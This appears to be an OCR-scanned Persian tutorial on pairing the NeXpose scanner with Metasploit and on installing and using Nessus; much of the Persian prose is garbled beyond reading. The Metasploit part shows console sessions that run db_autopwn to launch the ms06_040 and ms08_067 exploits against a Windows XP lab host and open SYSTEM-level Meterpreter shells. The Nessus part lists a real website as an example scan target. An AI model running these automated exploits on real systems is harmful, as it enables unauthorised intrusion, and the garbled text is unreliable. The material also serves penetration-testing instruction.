S p2dy T S sl aon Sl 133l e y3 K NEXPOSE il 5 133l o 55

O 95 Jls I s - @) sks wwess FAPIAT 1w ghusl o J1331 o 55 @sils5 (0 Lo
S 3539 pusls Jls > NEXPOSE il 9 vy sluwllio

o> http://www.rapid7.com/vulnerability-scanner.jsp u sT »s siSuwl ¢yl gols astuws

33,5 Slw) J9 e a9 uas b lassl. )18 DS o jiwd



http://www.rapid7.com/vulnerability-scanner.jsp
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Help | Support | MNews | Log Oul

A:RAPID?
NEXPOSE
Community edition
Customize dashboard User: dookie
Home :: Assets :: Sites :: hotzone :: Scans @ Full auait @@ 192.168.1.161 ,0 Search
Device Properties
Addresses: 192.168.1.161 Operating System: ¥ Microsoft Windows XP
Hardware Address:  C6:CE:4E:D9:C9:6E CPE: cpe:/o:microsoft:windows_xp
Aliases: XEN-XP-5P2-BARE Site: hotzane
Vulnerability Listing =]
Vulnerability Severityl: Instances
' rver Servi icali m ion Yulnerabili Critical 1
M509-001: Vulnerabilities in SMB Could Allow Remaote Code Execution Critical 2
-035: Vulnerahility in Server Senvi Id &l m n {917 Critical 1
Default or Guessable SNMP communify names: private Sevare 1
f [ P ity names: publi Severe 1
CIFS NULL Session Permitted Moderate 1
ICMP timestamp response Moderate 1

!here are no policies fo display.

Installed Software Listing

There is no software to display.

Service Listing

Service Name Product Port i Proto Vulnerabilities Users Groups

L L3I e 55 )3 Sanl alis (s @S (5o Sl So3a IS K NEXPOSE s Lo 1wl VIS sl 0
0 I8 e shunl bie Sless)s wlgins 135 45 auiS (50 © ud 3 o3bw Jluw ) g0 a XML =058
b)af

Sl @l wlo 93l pauwsis sl AD_IMPOrt ) siws Jl 5 03 g0i skl 33 0315 oGl S Gusww
S (50 oslaiwl pleils

db_create <msf
.Creating a new database instance [x]

Successfully connected to the database [x]
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File: /root/.msf3/sqlite3.db [x]

db_import /root/report.xml <msf
Importing 'NeXpose Simple XML' data [x]

Importing host 192.168.1.161 [*]

Successfully imported /root/report.xml [x]

L,L_\_'a._l_.ifk’ooé&h'),@égé}h&g,@'&o&)b)"ro@&LQG)-_Q%@._A_A»TU.))}TMA.}G|).}
a8 o laiul wleMbol 933 S e shul lie )3 3L aF db_vulns 5 db_services

db_services < msf
--====== Services
S Host Workspace created_at info name port proto state updated_at

UTC Nt VANV ¥ PY AV e N e

default 2010-08-22 123 udp open 2010-08-22 18:12:03 UTC 192.168.1.161
18:12:05 UTC dce endpoint resolution 135 tcp open

UTC cifs A Y:-v vYy--A-v-1. UTC 192.168.1.161 default \A:\V:-5 PY--A-¥-\ -
name service 137 udp open

UTC VAAY:-¥ PyY--A-Y-\- UTC 192.168.1.161 default \A:\Y:-¥ YYP--A-V-\ -
Windows 2000 LAN Manager cifs 139 tcp ope

n 2010-08-22 18:12:03 UTC 192.168.1.161 default

UTC 1A Y:-# UTC snmp 161 udp open 2010-08-22 \A:\Y:- & PP--A-Y -\ -
192.168.1.161 default

cifs 445 tcp open UTC Windows 2000 LAN Manager \A:\¥:-d YY--A-¥-\ -
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UTC VA v-¥ vy--A-v-\- UTC 192.168.1.161 default \A:\V:-d YY--A-Y-\-
microsoft remote display protocol 3389 tcp open

UTC 192.168.1.161 default \A:\¥:-¥ Py--A-v-\ -

db_vulns < msf
[*]

host=192.168.1.161 name=NEXPOSE- :Time: 2010-08-22 18:12:00 UTC Vuln
refs=CVE-2006-3439,NEXPOSE- dcerpc-ms-netapi-netpathcanonicalize-dos
dcerpc-ms-netapi-netpathcanonicalize-dos

name=NEXPOSE- UTC Vuln: host=192.168.1.161 \A:\Y:-\ YY--A-Y-\ - :Time [x]
-refs=CVE-2006-1314,CVE-2006-1315,SECUNIA windows-hotfix-ms06-035

NEXPOSE-windows-hotfix-ms06-035,y\ - - ¥

UTC Vuln: host=192.168.1.161 name=NEXPOSE- \A:\Y:-¥ ¥Y--A-Y-\ . :TiMme [x]

refs=CVE-1999-0519,BID-494,URL- cifs-nt-0001
http://www.hsc.fr/ressources/presentations/null_sessions/,NEXPOSE-cifs-nt-
0001

[*]

host=192.168.1.161 name=NEXPOSE- :Time: 2010-08-22 18:12:03 UTC Vulin

refs=CVE-1999-0524,NEXPOSE-generic-icmp- generic-icmp-timestamp
timestamp

[*]

host=192.168.1.161 port=445 :Time: 2010-08-22 18:12:05 UTC Vuln

refs=CVE-2008- proto=tcp hame=NEXPOSE-windows-hotfix-ms09-001
4114,CVE-2008-4835,CVE-2008-4834,SECUNIA-31883,URL-
http://www.vallejo.cc/proyectos/vista_SMB_write_DoS.htm,URL-
http://www.zerodayinitiative.com/advisories/ZDI-09-001/,URL-
http://www.zerodayinitiative.com/advisories/ZDI-09-002/,NEXPOSE-windows-
hotfix-ms09-001
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[*]

host=192.168.1.161 port=161 :Time: 2010-08-22 18:12:08 UTC Vuln

refs=CVE-1999-0186,CVE-1999- proto=udp name=NEXPOSE-snmp-read-0001
-0254,CVE

CVE-1999-0516,CVE-1999-0517,CVE-2001-0514,CVE-2002-,- £YY-1444
0109,BID-2807,NEXPOSE-snmp-read-0001

[*]

host=192.168.1.161 port=161 :Time: 2010-08-22 18:12:09 UTC Vuln
-proto=udp name

oslaiwl s Bl G e o | Ay s wodoa ) oSl s oo wawas wleMbl o2l )l lebs L
S o3laiul db_autopwn

db_autopwn -h<msf
[Usage: db_autopwn [options [x]

Display this help text h-

Show all matching exploit modules t-

Select modules based on vulnerability references X-
Select modules based on open ports p-

Launch exploits against all matched targets e-

Use a reverse connect shell r-

(Use a bind shell on a random port (default b-
Disable exploit module output g-

Only run modules with a minimal rank [rank] R-
range] Only exploit hosts inside this range] I-
range] Always exclude hosts inside this range] X-

PI [range] Only exploit hosts with these ports open-
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PX [range] Always exclude hosts with these ports open-
regex] Only run modules whose name matches the regex] m-

Maximum runtime for any exploit in seconds [secs] T-

aa Uu.ﬁ._)bi._)_.)63)u;))';O‘ié)f}._\d)L)\s)._g.L__gﬂ.wTdf)JéiA)}QJ|A.Q>|O.¢L0369)AJAA Jo
S Ax 95 ) pguas

db_autopwn -x -e<msf
sessions]): Launching -]1Y/\)[x*]

.exploit/windows/smb/ms@6 040 netapi against 192.168.1.161:445
sessions]): Launching -]1Y/¥)[*]
.exploit/windows/smb/ms@8 067 netapi against 192.168.1.161:445
sessions]): Waiting on 2 launched modules to finish -]Y/¥)[x]
.execution

<-opened (192.168.1.101:42662 Meterpreter session 1 [x]

at 2010-08-22 12:14:06 -0600 (\AY\FAN N7V :EVSD

sessions]): Waiting on 1 launched modules to finish \]Y/¥)[x]
~execution

sessions]): Waiting on @ launched modules to finish \]Y/¥)[x]

.execution

ms+

la S€ssion & Laws Meterpreter il Js

sessions -1<msf

Active sessions
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NT AUTHORITY\SYSTEM @ XEN-XP-SP2-BARE meterpreter \
VAVAZANNZVEYZD <- \AVNZAN N - 1:EYPPY

sessions -i 1<msf
.Starting interaction with 1 [¥]

sysinfo <meterpreter
Computer: XEN-XP-SP2-BARE

Windows XP (Build 2600, Service Pack 2: O0S
x86: Arch

Language: en_US
<meterpreter

MSFCONSOLE NEXPOSE FROM

33,5 cuas oT oM 9L ol MST J i Sl oslatwl 5 g glusl lis )3 NEXPOSE (sl yal (sl

nexpose load < msf

- AN O
N AN YN AN AN

[N NOTANZ_ PN AT AT >

VAR /2 VA N VA A Y I A I I T R Y
| |

V|
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activated NeXpose integration has been [x]
nexpose Successfully loaded plugin [x]

help < msf

Commands NeXpose

Command Description

scan jobs on the NeXpose instance nexpose_activity Display any active
running NeXpose instance ( nexpose_connect  Connect to a
( [user:pass@host[:port

Disconnect from an active NeXpose instance nexpose_disconnect
scan but only perform host and minimal nexpose_discover Launch a
service discovery

nexpose_dos Launch a scan that includes checks that can crash
(@and devices (caution services

ports and all nexpose_exhaustive Launch a scan covering all TCP
authorized safe checks

scan against a specific IP range and nexpose_scan Launch a NeXpose
import

bs)l 5 Juos I3l o s 25 s ag Lol 3k, metasploit »s NEXPOSE s jl asy 5 40 I Jus

) guo & BilgS 5oyt il (Sl e L3I gl el Io._:_)'l.)).ﬁ 39a Slaal Swl 4 rwl,.u CREFCINY
..mlef&,ssl

nexpose_connect dookie:s3cr3t@192.168.1.152 <msf
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Warning: SSL connections are not verified in this release, [-]

it is possible for an attacker
with the ability to man-in-the-middle the NeXpose [-]

traffic to capture the NeXpose
credentials. If you are running this on a trusted [-]

'network, please pass in 'ok
as an additional parameter to this command -]

nexpose_connect dookie:s3cr3t@192.168.1.152 ok <msf
Connecting to NeXpose instance at 192.168.1.152:3780 with [x]

.username dookie

<msf

23 5 bl be oy Jl Sl gl 5 @S g9 b 3538 sl @uilss (50 09 pus b LI I iy Js
38l e Blasl T JguuiS Joumo

nexpose_discover -h<msf
[Usage: nexpose_scan [options

:OPTIONS

Exclude hosts in the specified range from the scan E-
Only scan systems with an address within the specified 1I-

range
Leave the scan data on the server when it completes P-

((this counts against the maximum licensed IPs
Specify a minimum exploit rank to use for automated R-

exploitation
Automatically launch all exploits by matching reference X-

(and port after the scan completes (unsafe
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Specify credentials to use against these targets (format c-
[[is type:user:pass[@host[:port
Scan hosts based on the contents of the existing d-

database
This help menu h-

The maximum number of IPs to scan at a time (default is n-
(32

The directory to store the raw XML files from the NeXpose s-
(instance (optional

The scan template to use (default:pentest-audit t-

options:full-audit,exhaustive-audit,discovery,aggressive-
(discovery,dos-audit

Display diagnostic information about the scanning V-
process
Automatically launch all exploits by matching reference X-

(after the scan completes (unsafe

nexpose _discover 192.168.1.161 <msf
Scanning 1 addresses with template aggressive-discovery in [x]

sets of 32
Completed the scan of 1 addresses [x]

<msf

r:.uf u.o).)bo J) u.u.uLu.) O Jo,.?).o .;s|)95.m.) Lo o)l._»g.) L')T J'AL) wleMbl Hass 6|)._> OT Jl o=
ol Gub

db_services < msf

Services
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info name port proto s created_at
updated_at Host Workspace tate

VAYEYA YY--A-Y-) -

open 2010-08- UTC ntp 123 udp
22 18:24:28 UTC 192.168.1.161 default
UTC dce endpoint \A:PEX . PP--A-V- -

open 2010-08-22 18:24:30 resolution 135 tcp
UTC 192.168.1.161 default
UTC cifs name \A:YEXA PY--A-Y-\-

open 2010-08-22 18:24:28 service 137 udp
UTC 192.168.1.161 default
UTC Windows 2000 LAN \A:XE:PA PY--A-Y- -

open 2010-08-22 18:24:28 Manager cifs 139 tcp
UTC 192.168.1.161 default
VAPEY . PY--A-Y -

open 2010- UTC snmp 161 udp
08-22 18:24:30 UTC 192.168.1.161 default
UTC Windows 2000 LAN \A:XEX- PP--A-Y-\-

open 2010-08-22 18:24:30 Manager cifs 445 tcp
UTC 192.168.1.161 default
UTC microsoft remote display \A:¥&:PA PY--A-v-\-

open 2010-08-22 18:24:28 UTC 192.168.1.161 default protocol 3389 tcp

db_vulns < msf
host=192.168.1.161 Vuln Time: 2010-08-22 18:24:25 UTC [x]

refs=CVE-2006- name=NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos
3439,NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos
host=192.168.1.161 :Time: 2010-08-22 18:24:26 UTC Vuln [x]

refs=CVE-2006-1314,CVE-2006- name=NEXPOSE-windows-hotfix-ms06-035
1315,SECUNIA-21007,NEXPOSE-windows-hotfix-ms06-035
host=192.168.1.161 .Time: 2010-08-22 18:24:27 UTC Vuln [%]

refs=CVE-1999-0519,BID-494,URL- name=NEXPOSE-cifs-nt-0001
http://www.hsc.fr/ressources/presentations/null_sessions/,NEXPOSE-cifs-nt-
0001

host=192.168.1.161 .Time: 2010-08-22 18:24:28 UTC Vuln [%]
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refs=CVE-1999-0524, NEXPOSE- name=NEXPOSE-generic-icmp-timestamp
generic-icmp-timestamp
host=192.168.1.161 port=445 .Time: 2010-08-22 18:24:30 UTC Vuln [x]

refs=CVE-2008- proto=tcp name=NEXPOSE-windows-hotfix-ms09-001
4114,CVE-2008-4835,CVE-2008-4834,SECUNIA-31883,URL-
http://www.vallejo.cc/proyectos/vista_SMB_write_DoS.htm,URL-
http://www.zerodayinitiative.com/advisories/ZDI-09-001/,URL-
http://www.zerodayinitiative.com/advisories/ZDI-09-002/,NEXPOSE-windows-
hotfix-ms09-001

host=192.168.1.161 port=161 .Time: 2010-08-22 18:24:33 UTC Vuln [x]

refs=CVE-1999-0186,CVE-1999- proto=udp name=NEXPOSE-snmp-read-0001
0254,CVE-1999-0472,CVE-1999-0516,CVE-1999-0517,CVE-2001-0514,CVE-
2002-0109,BID-2807,NEXPOSE-snmp-read-0001

host=192.168.1.161 port=161 :Time: 2010-08-22 18:24:35 UTC Vuln [x]

proto=udp name

8 lmpd o5 Olod b iS50 03 Laiuwl db_autopwn , siuss I ¢l jl s

db_autopwn -x -e<msf
sessions]): Launching -]1¥/\)[*]

-exploit/windows/smb/ms@06_040 netapi against 192.168.1.161:445
sessions]): Launching -]1Y/¥)[x*]
-exploit/windows/smb/ms@8_067_netapi against 192.168.1.161:445
sessions]): Waiting on 2 launched modules to finish -]Y/¥)[x]
~execution

sessions]): Waiting on 1 launched modules to finish \]Y/¥)[x]
~execution

<- Meterpreter session 2 opened (192.168.1.101:51373 [x]

at 2010-08-22 12:26:49 -0600 (\AY,\7A)\7\:XD\ 07

sessions]): Waiting on @ launched modules to finish \]Y/¥)[x]

.execution

sessions -1<msf
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Active sessions

NT AUTHORITY\SYSTEM @ XEN-XP-SP2-BARE meterpreter Y
VAVAZANNZ1:00107 <- 1AV NZA0,) - 1D\ PYY

sessions -i 2<msf
.Starting interaction with 2 [x]

sysinfo <meterpreter
Computer: XEN-XP-SP2-BARE

Windows XP (Build 2600, Service Pack 2: O0S
x86: Arch

Language: en_US
exit <meterpreter

Reason: User exit Meterpreter session 2 closed [%]
<msf
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Working With Nessus

Ol pl Jl eslaiwl U,ﬁoqwgfﬂﬁl)l Slxwd o3 )l j8 P ol o)l._;).)r;.ii_n_.n ovlwal lawl s
.[o)'l..\,)._g., 3905 oslaiwl plgs (50 &5 (S giws 9 o gluwllio )

Ddle s papie o5 588 ples ST el Vulnerability Scanning sl Jlssle s
0 9 e o e VI & Network-Based )50 a5 a5 Vulnerability Scanning
H33le 55 opl (aslze aaed wlpl 55 43 5T) sl oT wag Open-Source 5 ilxe Jlsdle 5

A 5o o Az g5 9l o g5 5 030 4k 55 ReNaud Deraison louw o3

)90 & pSgnels ia Jl &S awif (68 .l Client-Server wdls uils vl )% e 5 39
B9 S oslaiwl NESSUS JI 1 3 9uols oyl Sl s3lass )3 3udlgsty ,5T .0 oo odlaiml (slasuis
ouols’ & Joas aS1 Js .auwiS |l g9l Client asa 55, 9 NESSUS )9 50 LT I S5 s dodd el
—as b 9) NESSUS s PR 5 iS00 3wS ol NEesSUS Jl usl s cpelsa e 5 ol

S Lyal s

(oS ol Jho (uSiigr m i Jole (5lo el (5l 0 Joas NESSUS )l sle 5 SErver sl Jis ys
0 s3onels <K (550 &S Ly 015 S9a 9 (S )93y Ay el (o piwd )3 9 OpenBSD Unix
A abl puSser 2 Giae Db Senels Ul Jolepiwmn 3uS (5o uas 935l Do pB 5 M
wals allie ol UI39n b 5) WesSed By S oo odlaiwl Jodiys Jelepiums JI aST a5 w)lie
5 (NessusWX ol a3 ) jsaiss slaasus as S o b NESSUS iMs” &y gal) Lol 1auiSs
D090 & ybgmell B aiy oS aSiul Siwy o)l S9n9 Sy p Siiwe SlRARus w9 sl Az
9 bl (UK es o e b audy s Gbo) NESSUS g pus o)l 8 a5 sl (yuils Jlaal s aSub

losbl 03uh A gl Io)lg;.,_.ol R R OV S 5 TE I . EIN AL S G VT2

PR 9 9w pR Jdlod 5o 5 SIS S s Jelepiuw Lo &5 08 (50 B9 allie (l VS o
o Losb a8 5i) 5L NESSUS Jl oslaiwl (sl p 3w uos y35mo0lS e 90 90 NESSUS wipMs
& (18 NMAP a5 boas ) opls Ygoeme a5 aibl aubls 9» OpenSSL P gtk e 5 hmap

(Lo bl 5 )83



BACKBOX . BLACKBUNTU « BACKTRACK

NESSUS2 o5 5 wlgic vz a5 s9a 5 back track ,s OPENVAS oL &y 3,15 1331 e )3 S yricron

awl 03U Huiniie GPL x5 a5

TS Sobils 5, Nessus Lxs

S aszal e http://www.nessus.org/download.ntml  yu T a5 45 a5L NESSUS s 5kls (sl 5
Joda Jals S oK e guo a5 &5 Suiun 90 NESSUS I aseus ¢y 3T dui g5 50 axiuo ¢yl )
Ao cpl )3 g Jhlie )50 Axiio K G B AuilS IS ged 9 plimd ) S S
9l Usda Vb .l amiio sla AT (5,55 5 dxio slalows O AF Suwiw 5o Jo3a B 93 2o

100k Al ,.1

You can find the installer here
3 )8 uas calise JSb duw 4y Ylg3 50 I)NeSSUScLY_\.gSA;,J.ﬁKU,o oslaiwl Joas red VI b

@ a3 55 b Joas et JleuiS oo bl 5 o)ls b NEssUs-installer a5 i) (ues Lo as
25503 55 Lals 45 )5S ol sy s ) S SIS LS Sl S5 (S50 Suimd aF (LSl s diibaie
S SlS Sl od 90 2938, 14y)5b 55 )8 LS ded S 03 Ss o pue p3IL Solisly e juw Al
sMD5 lapl a3 o)ls 3935 Jolb b aw axao ¢yl )3 9 Sysib o Jiike Suda axio G &y Laib
Sobisls 35 9 NEssus-installer.sh b aw ¢yl Jl as nessus-installer.sh s README.txt
lﬁ_\.hifuba,bglawyupﬂrai}r&mMDS B 3090 03 Abl KoVl duw @i 56 a5 3uS
A aggod 3y i 5o S5bisls a5 Hl53le x5 (yl Side ledre a5 SuIs wlguws Sl aFT.auG

5 SPY-Ware Jio 3Lal slaas 5w aidly s )l jdle x5 aSiyl iz ) 03,5 a5 Nessus.org
s, nessus-installer.sh Jobs asil jl as b aws 39bsls s 95 50 2 50 Jald ol (00185 Ll ..
Y 5 Shol Jald (el ol - 3uiS cwss 5 € 95650 (el (o sl »d MASSUM ) gy oS &3 3438 ,5
Lluma NEssus-installer.sh 5o

TEiS uas 5 plan @35 Sobils 5) nessus-installer.sh Jsts -
b 50 oS gid Shell Vs .awils 03,5 10gin us sid) &5 SUPEr-USEr sy FOOt 350 )5 3L Vsl

/root/Desktop »s ST Mie .augib 3l ules 35 3bisls Lxisl 5 Jold &5 (5955 pls & 5 03,5

3 g5 50 alod )5 S olils 9, Jold


http://www.nessus.org/download.html
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cd /root/Desktop #
A 95 50 9) ) Jsimwd Y
nessus-installer.sh sh #

aS Slo A 95 sl aSil bosd aub 503 S aAxiaio aill) Sbo yu) Al gs 9 Ab 50 S axbio aloldd,

(oaudh Sb Axiio dw yuo a3 &

 Welcome to the Nessus Installation Script

install Nessus 2.0.7 (STABLE) on your system This script will

need root privileges at some point so that Please note that you will
the installation can complete

Nessus is released under the version 2 of the GNU General Public License
(for details http://www.gnu.org/licences/gpl.html see)

/http://www.nessus.org To get the latest version of Nessus, visit

Press ENTER to continue
)..g)'oiopoé.ib._ﬂ.g_A:u'uogM‘Lﬁo&bﬁ:}jaﬁgaﬁéwq.méw)M3)Enterwb

:.)'.g_.o



http://www.gnu.org/licences/gpl.html
http://www.nessus.org/
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? Where do you want the whole Nessus package to be installed
[usr/local/]

WRL J=e 3 aF pau lis 9 ENnter w;wsﬁs__m.sl;_::,)Nessus«r@wl

3o ) Al gs 5 dubwe S axio Y auy —uas /USH/lOCAl sy

Nessus is now ready to be installed on this host
installation process will first compile it then install it The

ENTER to continue Press

bl &S aiiSie Job i @5 ax83cpl Gy 38 (5o b SO & £ b L 5 5 s o)L
509 ol (oS 50 as pa)ls Sl gil ) g0 4 o s (F St e DIHaal Lal) ¢y o 503
bl 4885 Sia 5 (325000 05D Al Rl @ B gIe Y (18K DA 50 Y58 el
RWig

Congratulations ! Nessus is now installed on this host

Create a nessusd certificate using /usr/local/sbin/nessus-mkcert .
nessusd user use /usr/local/sbin/nessus-adduser Add a .
nessusd) use /usr/local/sbin/nessusd -D) Start the Nessus daemon .
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use /usr/local/bin/nessus (Start the Nessus client (nessus .
usr/local/sbin/uninstall-nessus/ To uninstall Nessus, use .

nessus-update-plugins' periodically to update your' Remember to invoke .
list of plugins

: A step by step demo of Nessus is available at .
/http://www.nessus.org/demo

Press ENTER to quit
3o b 93 S o)l oo wleMbl JAT axian ¢yl iy pgos uas &5 3y iy ENter &

il adon (ol

certificate using /usr/local/sbin/nessus-mkcert Create a nessusd
f‘wﬁ"kf She" PR L o

usr/local/sbin/nessus-mkcert/ #

o JoUS j) (e 9 odub S| axio (o 0 ENtEr i85

This script will now ask you the relevant information to create the SSL
certificate of Nessus. Note that this information will *NOT* be sent to
anybody (everything stays local), but anyone with the ability to connect to
your

Nessus daemon will be able to retrieve this information

[certificate life time in days [1460 CA
)90 & Al @ 903 certification sl L5 PBI0 )5 & Enter 67 )5 ,aTb s (yuon Jl


http://www.nessus.org/demo/
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[certificate life time in days [1460 CA
Iv#o]Server certificate life time in days
[Your country (two letter code) [FR
[none]Your state or province name
[Your location (e.g. town) [Paris

[Users United Your organization [Nessus

Congratulations. Your server certificate was properly created
usr/local/etc/nessus/nessusd.conf updated/
:were created The following files

: Certification authority .
usr/local/com/nessus/CA/cacert.pem/ - Certificate
usr/local/var/nessus/CA/cakey.pem/ = Private key

: Nessus Server .
usr/local/com/nessus/CA/servercert.pem/ = Certificate
usr/local/var/nessus/CA/serverkey.pem/ = Private key

Press [ENTER] to exit
Ay 0905 IS b 0w i 50 00 50 ENLEr (0 8T Vs
Nessus sl ., SSL Certificate aa 5 es 5 |2l 5, nessus-installer.sh aa Y b Lo uy

& 5l Gapb Jl 135 auisn 45 oS a3 NESSUS )9 s (59, USEN 3 3yl Vs o3 58 )
oS o 03laiwl y35 s SIS ol sl oS 10GIN 5510 55
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usr/local/sbin/nessus-adduser/ #

e )W ) i )gimwd cpl hal jaxe 4

Add a new nessusd user

:Login

:)L}Q)ﬂ))b;»ésg}[aﬁifuné)"p))bjé)}o r:.w'&é)l}username._{)uamuﬂ

: [Authentication (pass/cert) [pass

s 9oy PASS sy (B )0k VR & e )50 Enter Lo .abl o> mimwensd by iz ol

: Login password

4 ol 4y sz wmanl) 4 0l & A v 4 0l Ay sl euiS D)l 50 V)92 Sl 3D sy b Lxidl
[o.m|).aoc).ho.ﬁ¢w|}.\;xmp G D) gun 035 ly @8ge * HS DI JI) dsmusiy 90 ) gun Y lsic
(lea305T s 50

s ol (yio oyl Vs

User rules

rules system which allows you to restrict the hosts nessusd has a
to test. For instance, you may want that ali has the right
only him to be able to scan his own host

Please see the nessus-adduser(8) man page for the rules syntax

: Enter the rules for this user, and hit ctrl-D once you are done
(the user can have an empty rules set)
393=0 9) &S ySwl A593 50 &5 plals disls &S rwf w9y )3 USEI auwly Rules G &y Ao =il

o 2Bl Vs 03350 JLis 5, CUIT-D S )5 Ly wemannss 05V Mad s oS

XXXXXXXXXX : Login
Password : yyyyyyyyy
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:DN
:Rules

y/n) [y) ? Is that ok
Ay o 905 IS A4S o j 50 Enter &

SeuiS al ) NESSUS (5) 5k Vs o3 )5 was 50 )l 33le s -

09w 33 Jol 3uiS oslasuwl NESSUS JI ¢yl gz a5 3uiS o FESTArt 5) )35uels a5 JL o -\
JSib a5 L NEeSsUS daemon sl as as NESSUS )5 yus 1355 Lyal sl ys .S 1al 5 NESSUS

s g3 50 90 1) gk 1) 0 NESSUSA awoMa

usr/local/sbin/nessusd -D/ #

S g 50 (ISl ) NESSUS ) g pun Gial) oyl &

Sl 28 Dal paisise olssn a5 s b dia )8 aSiyl oo S5 oS (50 Dial 5) s Vs -Y
13 gl 50 o3laiwl jo) ) giws JIOE -l

usr/local/bin/nessus/ #
cufu,o)lffmuun.;dl;)snessusc\f.\.;,sfA;,s.mh*o)gw)l)élf)som),m;wlél);lb
woawl sesal) S8 sl oslawl (s

S euiS 03lisusl NESSUS I 4358 asl 0. jl NESSUS gl © iy -

Ofew 38 50 10gIN Jsl Jb e )ST.0w8 sl 5, password s login-name Jsl axao ys
) Sl a5l (535330 aeS> b ydaw aws slpls a5 SSL Setup ol &5 9 Jb (slo pmiy 4 ol

oL ST s a3 50 Liss 5, OK QoSS 5 EuBS 505 pui 9) 03 Dl (B 43 iy )90 & &S
Afr:;.) a5 o bl wawps paSSWOFd susername ,51 s S g 505 ) 0 y=iy (pl bl Jol

Ssibze Sk 3)ls @b Plugins
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Mo .l NESSUS Ll 3310 55 3 PIUGINS wasf ale oy (5 il e 53 3L PIUGINS 5550 )
. L s ls Unicode bug el &3 SISitko (531 )3 LT a5 AiS s Slgi 0 NESSUS 4 3uis (46 59
)50 4 L PlUgin .ais s ) cllao ol a5 3l axbls ols PlUgin o sl )1 ¢yl awls

35 gus o A 93wl NESSUS o gazxe a5 NASL L) & Ygesoe &5 siimd (plas slo Jl

o piy YU romd 3 (b g5 Plugin |A‘z,C 0l 4 NESSUS o soe g3 b wlgs 5o an ST)
a5 1) p3a5 ,a ... s SNMP s Windows Jie sslosuds (saiaiws PIUGINS oT »s a5 sy 5o
Jd e b Jles o) Lysl ulssise 9 -Ade »alb s yo PIUGINS o o sy (pub ) awis bl
b8 03y Lousis NESSUS ST 5 aub Saled w5l 8 59, @bl Jles a5 s PlUgins ;o .5 ,5
Suouad Sl i b NESSUS )l 3sle 53 uols Jis 0 3,8 dalsa Gi)1S sishoils 5y JSine ol
ﬁl)lu«?(,)wgu&blclf,)uxg.olo)j;&,;v--)|ua9u,sunoigﬁwm)cPlugin
Slo yaa duwly 33 sla PIUGIN Ls ye .cusla PIUGIN yued )3 NESSUS = )28 =8l5 ) 5 00y
Sosba P50 Fud o5 lasy AF duline ALl il &y 5 Adliue Allb 95 (b 5o S AT (S AuAn Siel
S 35kl 5) u3a sy plugin .yl

o s s e 9 L VUl PSS auiS o atie a5 0 (pl )3 Lo (2S5 jusiske ) g0ds elgsky aS
las b ety VUL & sl aius NESSUS as
Logw‘wu@hack,)@,)mgqmnessus«:f;:ua)c%bmdmow.susﬁ
Lewiia S0l 3k 5L ax Jl s s 0ol U3 ) B Awly Ergss &5 &S (50 SoS

a5 &l 0 58 )2 dangerous plugins b a; 5, L PIUGIN JI a2 NESSUS aSiyl (s AiSs
A5 L ais hang b 38 55 5u0ls &S aiSon 30 gaby s )9 & (59 45145 Jiiwd s plugin
Jlis 1) Enable all ass's (auin s S 53 s, L plugin acs il &S e restart b e
Enable all but aess (ouis wws diimd U ba a5 HUsl s 5) 4o s aST 5 madus
S5 5, disable all (s guin Jled jue ann el &5 5 ouiS o Dbl 5) dangerous plugins
PES o

a1 Mis .ols el L PIUGIN 5 )50 )3 Silewkais lgsse a5 0 ol 03 .3)ls ol Prefs sas a5 5

L SMB & gal) SileMbl 514 .aubl ICMP L TCP as 5,5 jasie ddiue bl 035 PiNg 4 e
aaed puiss 9) &5 p pl Yoo . 5 @uiS S)ly ea)ls password L username Jio FTP

9 35 Sl ol POIt as 3,5 jasuie wlssse & s cpl V3 .ol SCan OpLions sas o
nmMap s b Jl NESSUS ,s Port Scanning as aws” «.és s puss 00 ) &5 0 oyl &S

S8 o )50
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A5 oSl ealsd 5o 5) xS & 8IS e ypsiie a5 3)ls b Target Selection ee oS 5 ¢ paT

16550 50 b g5 Ao (tArgets) wows ) af s3)lge I Yo Sin
i Sl 9 VAP AT ,ED o louds 43 1P el a3 -

ELATIREF
50 3L Y B e AT @5) 5 1Y 5 \F: 5 1AY Ul sl p8) 4w 5) e ID eul sy a51-Y

Y- 1arAY- Y)Y -
5Ia._|_ifoiu;|3)m1.}f00[3 ' )'|)'ATro§))LQu:|_NL_|O}.o.mkj)l@)mdfg)ugl.%ipIa.._;_l,:'t._»d.ﬂ—\"

Wb g3 D ) g0 9 Ay S g 50
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ea 93 50 90 (409 S Sl 5) (waliw) V9w Ko re9S 90 Jl s a51-0

/http://www.iums.ac.ir

oSl IS &S 0uiS o U5 0 iy b Jl o) Start the Scan aes's ol osleT S aes a5 Vs

Taml 50 Silesl ax Start the Scan ys 5 s Jjl s -

5 il sla Plugin slass 4y ax 55 b a5 24 ax 55 .adine £ 9 b Sl 93 IS0l 9w 3 oyl
QS e 3)ls NESSUS & a5 a3l Jl o) 4y Job po it b 4283 Y+ b 59550 o)
AL o pmiy 4 )U plesl Sl oy Lag) 950 28 90 093G 39 2 0 e e ol 55 AMa (a5l w5
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High sa ) sess . Medium u)sum‘)hsfru@Low_u»mu@m.Mom
Sinug SErous L High as bl . sinus lasals isy SEMOUS o )3 08 a9 S plos sy
5 )3 a2 5, positive false b awll .3 )5 K& 55 )9y Ao iy 0dlaiwl ¢ 9l 451Y gm0
lesaus DB ) Gloyan Jo aiS 50 GBS 90 0 pen 5 NESSUS a5 S3)lgo (sivy cmibls

2oualS a5 0 58 Ul G2 b Jl obin 3,5 CadS 9) 0 rén & NESSUS Lids &5 Sy yp ol Vs
TS 3985 )3

L a5 oaue o a3y CVE &y 3 150 1351 )5 NESSUS Lol .auis 03 NESSUS 355 L pisS a5 gl gad
w9 @S 13 0 pan 3l awls EXPIOIL ) gssl 5 ) gial HIET 08 b yous 9350 Sid W5l 59, SulS
2 o3lw POrt SCANNING &y o) 9iS Sl Sl )3 &F 38 ax 55 Lo jo B ounl & GalS o &

Qbbb 3l jo yuy Adlue o guzxo @ A
U}l._{afd«._»éfo)bé}agsave as Io.wl@&af.)dg@é*oo,ﬁ))@&&f@hﬂo@))

233883 132 5 13,5 0 a3 g Ly gei L MM s teXt Jio Salize slacdls )s 5) mlis Ao

3 gy (540

Tl SAKL ax )3 NESSUS asuhs wouinl (ypuazio G L Ko S olf o )l -

plugin as ais’ cais 5, nlao yon 439350 basd Ul 38l 13 (al lmsunss (S3ily Sl Gl oSl Loliuno
Liasd ) il NESSUS g3 513l Il s3jpice Jlams 49 )75 )S@ % ol 30 1 aubly aibls (bl 0

Al el (ypuaxie Ko olf s Jl 9 ( \_uu.uo.nyo.wA o a8 o ld 5o L=y L) saasT nessus

